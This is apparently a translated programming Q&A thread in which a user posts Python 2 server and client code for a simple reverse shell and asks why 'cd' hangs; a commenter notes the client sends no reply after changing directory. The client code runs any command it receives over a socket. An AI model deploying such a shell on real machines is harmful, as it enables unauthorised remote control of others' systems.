0
我在Python 2中製作了一個反向shell。但是,我無法獲得cd
(更改目錄)的工作。爲什麼cd不能在我的反轉外殼上工作?
這裏是我的server
代碼:
#!/usr/bin/python
import socket
host = socket.gethostname()
port = 1337
s = socket.socket()
s.bind((host, port))
s.listen(1)
while True:
c, addr = s.accept()
print "Accepted connection from", addr
while True:
cmd = raw_input(">>> ")
c.send(cmd)
print c.recv(1024)
s.close()
,這裏是我的client
代碼:
#!/usr/bin/python
import socket, os
s = socket.socket()
host = socket.gethostname()
port = 1337
s.connect((host, port))
while True:
cmd = s.recv(1024)
if cmd[:2] == "cd":
os.chdir(str(cmd[3:]))
else:
o = os.popen(cmd).read()
s.send(o)
我在做什麼錯?爲什麼更改目錄不工作?
編輯:命令行不會返回新的>>>
提示。
「不工作」是什麼意思?你是否得到了拋出異常的異常?如果是這樣,請包括整個錯誤打印輸出,包括回溯。 – Billy
@Billy命令行不會返回新的「>>>」提示。 –
在您的客戶端中,您不會發送任何'cd'命令的響應,因此服務器將等待'recv' – FujiApple